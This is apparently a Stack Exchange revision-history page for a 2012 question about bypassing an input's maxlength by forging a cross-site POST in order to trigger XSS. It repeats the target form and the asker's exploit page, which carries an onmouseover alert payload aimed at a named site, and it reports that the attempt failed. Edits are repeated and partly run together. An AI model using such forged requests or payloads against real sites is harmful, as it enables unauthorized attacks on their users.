Revisions to Is it possible to forge post request and bypass maxlength in input box?

deleted 1150 characters in body

Source Link

edited Jun 21, 2012 at 16:18

1.5k
5
22
32

I have input box with maxlength=12, and that input box is vulnerable to xss.

But because of maxlength 12 it is not possible to construct any really valid xss vector. The user input is stored in the attribute value="user input". When the user intercepts the post request with burpproxy, he can change post parameters and cause xss.

Now my question is it is possible to make a post request from other site which bypasses the maxlength element. On my exploit attempts, it takes me to the page where input box is located, and it cuts off everything past the 12th character.

Can that post request be forged and maxlength bypassed to exploit the xss issue?

This is form search on page with maxlength :

<form name="usersearch" method="post" action="usersearch.php">
    <input type="checkbox" value="1" id="partmatch" name="partmatch" >
    <label for="partmatch">Potraži deo (unesi najmanje 4 znaka)</label>
    <input class="inputbox" type="text" maxlength="12" 
           value="maxa">" id="loginname" name="loginname">
    <input
      class="button_ok"
      name="btnSubmit"
      id="btnSubmit"
      type="submit"
      value="OK"
      onclick="">
</form>

This is my try to exploit it from my page:

<html>
<body>
<h1>Test</h1>
<form name="usersearch" method="post" 
      action="http://www.site.rs/usersearch.php">
<input type="checkbox" value="1" id="partmatch" name="partmatch">
<label for="partmatch">Potraži deo (unesi najmanje 4 znaka)</label>
<input class="inputbox" type="text" maxlength="500"
       value="xss" onmouseover="alert(0)" id="loginname" name="loginname">
<input 
      class="button_ok"
      name="btnSubmit"
      id="btnSubmit"
      type="submit"
      value="OK"
      onclick="">
</form>
</body>
</html>

When I click exploit page button it just sends me back to the main page and input is cut off at the 12th character.

I have input box with maxlength=12, and that input box is vulnerable to xss.

But because of maxlength 12 it is not possible to construct any really valid xss vector. The user input is stored in the attribute value="user input". When the user intercepts the post request with burpproxy, he can change post parameters and cause xss.

Now my question is it is possible to make a post request from other site which bypasses the maxlength element. On my exploit attempts, it takes me to the page where input box is located, and it cuts off everything past the 12th character.

Can that post request be forged and maxlength bypassed to exploit the xss issue?

This is form search on page with maxlength :

<form name="usersearch" method="post" action="usersearch.php">
    <input type="checkbox" value="1" id="partmatch" name="partmatch" >
    <label for="partmatch">Potraži deo (unesi najmanje 4 znaka)</label>
    <input class="inputbox" type="text" maxlength="12" 
           value="maxa">" id="loginname" name="loginname">
    <input
      class="button_ok"
      name="btnSubmit"
      id="btnSubmit"
      type="submit"
      value="OK"
      onclick="">
</form>

This is my try to exploit it from my page:

<html>
<body>
<h1>Test</h1>
<form name="usersearch" method="post" 
      action="http://www.site.rs/usersearch.php">
<input type="checkbox" value="1" id="partmatch" name="partmatch">
<label for="partmatch">Potraži deo (unesi najmanje 4 znaka)</label>
<input class="inputbox" type="text" maxlength="500"
       value="xss" onmouseover="alert(0)" id="loginname" name="loginname">
<input 
      class="button_ok"
      name="btnSubmit"
      id="btnSubmit"
      type="submit"
      value="OK"
      onclick="">
</form>
</body>
</html>

When I click exploit page button it just sends me back to the main page and input is cut off at the 12th character.

I have input box with maxlength=12, and that input box is vulnerable to xss.

But because of maxlength 12 it is not possible to construct any really valid xss vector. The user input is stored in the attribute value="user input". When the user intercepts the post request with burpproxy, he can change post parameters and cause xss.

Now my question is it is possible to make a post request from other site which bypasses the maxlength element. On my exploit attempts, it takes me to the page where input box is located, and it cuts off everything past the 12th character.

Can that post request be forged and maxlength bypassed to exploit the xss issue?

This is form search on page with maxlength :

This is my try to exploit it from my page:

When I click exploit page button it just sends me back to the main page and input is cut off at the 12th character.

added 57 characters in body

Source Link

edited Jun 18, 2012 at 18:42

Hendrik Brummermann

27.3k
6
83
121

I have input box with maxlength 12 maxlength=12, and that input box is vulnerable to xss , but.

But because of maxlength 12 it is not possible to construct any really valid xss vector. UserThe user input is locatedstored in value="user input"the attribute , and whenvalue="user input". When the user intercepts the post request with burpproxy , he can change post parameters and cause xss.

Now my question is it is possible to make a post request from other site , and bypasswhich bypasses the maxlength element.I've tried something but On my exploit attempts, when I load page it takes me to the page where input box is located, and it cuts outoff everything beyond >12 lengthpast the 12th character. Can

Can that post request be forged and maxlength bypassed andto exploit the xss fired. Thanksissue?

This is form search on page with maxlength :

<form name="usersearch" method="post" action="usersearch.php">
    <input type="checkbox" value="1" id="partmatch" name="partmatch" ><label>
    <label for="partmatch">Potraži deo (unesi najmanje 4 znaka)</label>
    <input class="inputbox" type="text" maxlength="12" value="maxa">" 
 id="loginname" name="loginname">
         value="maxa">" id="loginname" name="loginname">
    <input
      class="button_ok"
      name="btnSubmit"
      id="btnSubmit"
      type="submit"
      value="OK"
      onclick=""
    >onclick="">
</form>

This is my try to exploit it from my page:

<html>
<body>
<h1>Test</h1>
<form name="usersearch" method="post" 
      action="http://www.site.rs/usersearch.php">
<input type="checkbox" value="1" id="partmatch" name="partmatch" ><labelname="partmatch">
<label for="partmatch">Potraži deo (unesi najmanje 4 znaka)</label>
<input class="inputbox" type="text" maxlength="500" 
 value="xss"onmouseover="alert      value="xss" onmouseover="alert(0)" id="loginname" name="loginname">
<input 
      class="button_ok"
      name="btnSubmit"
      id="btnSubmit"
      type="submit"
      value="OK"
      onclick=""
    >onclick="">
</form>
</body>
</html>

What am I doing wrong?WhenWhen I click exploit page button it just sends me bachback to the main page and input is cutoff to 12 charscut off at the 12th character.

I have input box with maxlength 12 , and that input box is vulnerable to xss , but because of maxlength 12 it is not possible to construct any really valid xss vector. User input is located in value="user input" , and when user intercepts post request with burpproxy , he can change post parameters and cause xss. Now my question is it is possible to make post request from other site , and bypass maxlength element.I've tried something but , when I load page it takes me to page where input box is located and it cuts out everything beyond >12 length. Can that post request be forged and maxlength bypassed and xss fired. Thanks

This is form search on page with maxlength :

<form name="usersearch" method="post" action="usersearch.php">
    <input type="checkbox" value="1" id="partmatch" name="partmatch" ><label for="partmatch">Potraži deo (unesi najmanje 4 znaka)</label>
    <input class="inputbox" type="text" maxlength="12" value="maxa">" id="loginname" name="loginname">
    
    <input
      class="button_ok"
      name="btnSubmit"
      id="btnSubmit"
      type="submit"
      value="OK"
      onclick=""
    >
</form>

This is my try to exploit it from my page:

<html>
<body>
<h1>Test</h1>
<form name="usersearch" method="post" action="http://www.site.rs/usersearch.php">
<input type="checkbox" value="1" id="partmatch" name="partmatch" ><label for="partmatch">Potraži deo (unesi najmanje 4 znaka)</label>
<input class="inputbox" type="text" maxlength="500" value="xss"onmouseover="alert(0)" id="loginname" name="loginname">
<input
      class="button_ok"
      name="btnSubmit"
      id="btnSubmit"
      type="submit"
      value="OK"
      onclick=""
    >
</form>

What am I doing wrong?When I click exploit page button it just sends me bach to main page and input is cutoff to 12 chars.

I have input box with maxlength=12, and that input box is vulnerable to xss.

But because of maxlength 12 it is not possible to construct any really valid xss vector. The user input is stored in the attribute value="user input". When the user intercepts the post request with burpproxy, he can change post parameters and cause xss.

Now my question is it is possible to make a post request from other site which bypasses the maxlength element. On my exploit attempts, it takes me to the page where input box is located, and it cuts off everything past the 12th character.

Can that post request be forged and maxlength bypassed to exploit the xss issue?

This is form search on page with maxlength :

<form name="usersearch" method="post" action="usersearch.php">
    <input type="checkbox" value="1" id="partmatch" name="partmatch" >
    <label for="partmatch">Potraži deo (unesi najmanje 4 znaka)</label>
    <input class="inputbox" type="text" maxlength="12"  
           value="maxa">" id="loginname" name="loginname">
    <input
      class="button_ok"
      name="btnSubmit"
      id="btnSubmit"
      type="submit"
      value="OK"
      onclick="">
</form>

This is my try to exploit it from my page:

<html>
<body>
<h1>Test</h1>
<form name="usersearch" method="post" 
      action="http://www.site.rs/usersearch.php">
<input type="checkbox" value="1" id="partmatch" name="partmatch">
<label for="partmatch">Potraži deo (unesi najmanje 4 znaka)</label>
<input class="inputbox" type="text" maxlength="500" 
       value="xss" onmouseover="alert(0)" id="loginname" name="loginname">
<input 
      class="button_ok"
      name="btnSubmit"
      id="btnSubmit"
      type="submit"
      value="OK"
      onclick="">
</form>
</body>
</html>

When I click exploit page button it just sends me back to the main page and input is cut off at the 12th character.

added 1355 characters in body

Source Link

edited Jun 18, 2012 at 16:52

Daniel

1.5k
5
22
32

I have input box with maxlength 12 , and that input box is vulnerable to xss , but because of maxlength 12 it is not possible to construct any really valid xss vector. User input is located in value="user input" , and when user intercepts post request with burpproxy , he can change post parameters and cause xss. Now my question is it is possible to make post request from other site , and bypass maxlength element.I've tried something but , when I load page it takes me to page where input box is located and it cuts out everything beyond >12 length. Can that post request be forged and maxlength bypassed and xss fired. Thanks

This is form search on page with maxlength :

<form name="usersearch" method="post" action="usersearch.php">
    <input type="checkbox" value="1" id="partmatch" name="partmatch" ><label for="partmatch">Potraži deo (unesi najmanje 4 znaka)</label>
    <input class="inputbox" type="text" maxlength="12" value="maxa">" id="loginname" name="loginname">
    
    <input
      class="button_ok"
      name="btnSubmit"
      id="btnSubmit"
      type="submit"
      value="OK"
      onclick=""
    >
</form>

This is my try to exploit it from my page:

<html>
<body>
<h1>Test</h1>
<form name="usersearch" method="post" action="http://www.site.rs/usersearch.php">
<input type="checkbox" value="1" id="partmatch" name="partmatch" ><label for="partmatch">Potraži deo (unesi najmanje 4 znaka)</label>
<input class="inputbox" type="text" maxlength="500" value="xss"onmouseover="alert(0)" id="loginname" name="loginname">
<input
      class="button_ok"
      name="btnSubmit"
      id="btnSubmit"
      type="submit"
      value="OK"
      onclick=""
    >
</form>

What am I doing wrong?When I click exploit page button it just sends me bach to main page and input is cutoff to 12 chars.

I have input box with maxlength 12 , and that input box is vulnerable to xss , but because of maxlength 12 it is not possible to construct any really valid xss vector. User input is located in value="user input" , and when user intercepts post request with burpproxy , he can change post parameters and cause xss. Now my question is it is possible to make post request from other site , and bypass maxlength element.I've tried something but , when I load page it takes me to page where input box is located and it cuts out everything beyond >12 length. Can that post request be forged and maxlength bypassed and xss fired. Thanks

This is form search on page with maxlength :

<form name="usersearch" method="post" action="usersearch.php">
    <input type="checkbox" value="1" id="partmatch" name="partmatch" ><label for="partmatch">Potraži deo (unesi najmanje 4 znaka)</label>
    <input class="inputbox" type="text" maxlength="12" value="maxa">" id="loginname" name="loginname">
    
    <input
      class="button_ok"
      name="btnSubmit"
      id="btnSubmit"
      type="submit"
      value="OK"
      onclick=""
    >
</form>

This is my try to exploit it from my page:

<html>
<body>
<h1>Test</h1>
<form name="usersearch" method="post" action="http://www.site.rs/usersearch.php">
<input type="checkbox" value="1" id="partmatch" name="partmatch" ><label for="partmatch">Potraži deo (unesi najmanje 4 znaka)</label>
<input class="inputbox" type="text" maxlength="500" value="xss"onmouseover="alert(0)" id="loginname" name="loginname">
<input
      class="button_ok"
      name="btnSubmit"
      id="btnSubmit"
      type="submit"
      value="OK"
      onclick=""
    >
</form>

What am I doing wrong?When I click exploit page button it just sends me bach to main page and input is cutoff to 12 chars.

Tweeted twitter.com/#!/StackSecurity/status/214758124626780161

occurred Jun 18, 2012 at 16:35

Source Link

asked Jun 18, 2012 at 15:08

Daniel

1.5k
5
22
32

Loading

Stack Exchange Network

Return to Question